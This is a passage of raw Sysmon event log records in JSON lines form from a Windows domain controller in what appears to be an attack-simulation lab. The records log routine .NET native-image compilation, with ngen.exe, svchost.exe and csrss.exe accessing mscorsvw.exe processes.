12:02:00.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-0010A0FF0C00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001050AD0C00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001050AD0C00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001050AD0C00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001050AD0C00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001050AD0C00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001050AD0C00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.182\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010FFB00C00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.182","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010FFB00C00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.182\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010FFB00C00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.182","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010FFB00C00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-00108C060D00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-00108C060D00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:01.588\r\nProcessGuid: {90617006-42B8-5F2D-0000-00108C060D00}\r\nProcessId: 4768\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12a0-0\\PresentationBuildTasks.dll\r\nCreationUtcTime: 2020-08-07 12:02:01.588","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:01.588","ProcessGuid":"{90617006-42B8-5F2D-0000-00108C060D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12a0-0\\PresentationBuildTasks.dll","CreationUtcTime":"2020-08-07 12:02:01.588","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-001065640C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-001065640C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\